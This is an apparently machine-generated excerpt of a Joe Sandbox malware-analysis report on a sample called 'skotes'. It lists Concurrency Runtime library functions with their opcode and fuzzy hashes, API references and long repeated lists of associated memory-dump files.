Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: a88c2ab46295014baf5a571b6dc57b20202847f3f22ce1d9a61edbba5f12f319
Instruction ID: 967cbd1348c1e8b034408e9f31778eba79868dee7fcfb9978deadf9d69ef51bb
Opcode Fuzzy Hash: a88c2ab46295014baf5a571b6dc57b20202847f3f22ce1d9a61edbba5f12f319
Instruction Fuzzy Hash: DF21D935900B149FCB25EF64D9908AEF3F9FF59300700491EE442A7662DB34B904CBA2

Function 001A4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001A4893
ListArray.LIBCONCRT ref: 001A48A5

Part of subcall function 001A5555: _InternalDeleteHelper.LIBCONCRT ref: 001A5564

ListArray.LIBCONCRT ref: 001A48AF
_InternalDeleteHelper.LIBCONCRT ref: 001A48C8

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 11849325768df9d7f1da5a0bebd64b34647bd4fc5ba476e78436ba626ff9b37e
Instruction ID: 954c1b35cb0e38a86aaf3fc99b1848581b38c7e036926d026be284eb0e05b4fa
Opcode Fuzzy Hash: 11849325768df9d7f1da5a0bebd64b34647bd4fc5ba476e78436ba626ff9b37e
Instruction Fuzzy Hash: EC01F976600521BFCF15BBA4E8C2E6EB76BBFA67107000129F50497652CF65EC21C7A0

Function 001AEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001AEE6A
ListArray.LIBCONCRT ref: 001AEE7C

Part of subcall function 001AEF29: _InternalDeleteHelper.LIBCONCRT ref: 001AEF3B

ListArray.LIBCONCRT ref: 001AEE86
_InternalDeleteHelper.LIBCONCRT ref: 001AEE9F

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 8df4cc9b2be8146202c7f11c59a6df8be009cde9249f253e06820d06cdf5e3b3
Instruction ID: 8b2d74da737a029b202ecd591a99a240df274f8e145c9e5f8b45726c9aac5c85
Opcode Fuzzy Hash: 8df4cc9b2be8146202c7f11c59a6df8be009cde9249f253e06820d06cdf5e3b3
Instruction Fuzzy Hash: 4101A97A600521BFCE25BB60D8C2D7EBBAAFF967107051429F40597651CB20FC2196D0

Function 001AD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001AD0C5
ListArray.LIBCONCRT ref: 001AD0D7

Part of subcall function 001AC6B2: _InternalDeleteHelper.LIBCONCRT ref: 001AC6C4

ListArray.LIBCONCRT ref: 001AD0E1
_InternalDeleteHelper.LIBCONCRT ref: 001AD0FA

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 622abbdd1701f5045d78fb93ec2ee363e5d15770a79a68182a6fe357065cc0f6
Instruction ID: 058da61b28425d0bf09aa82d32f8b6dcd0b96772cfeaf5da0de548a232158c3a
Opcode Fuzzy Hash: 622abbdd1701f5045d78fb93ec2ee363e5d15770a79a68182a6fe357065cc0f6
Instruction Fuzzy Hash: 74012D7A300521BFCE25BB60D9C2D6DB77ABF567107401429F40597B51CF20EC6187D0

Function 001B33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001B33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 001B33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 001B3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001B341F

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: e4b44bb6c25f9f29b1efc7c1b47352e9ba72af152e50be00a7e57618e5efde19
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6F012632700514A7CF16EE658841AEFB7AAAF54710F000015FC22AB292DB71EE2492A0

Function 001A9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 001A9519

Part of subcall function 0019F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 001A5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 001A953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 001A9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 001A9559

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
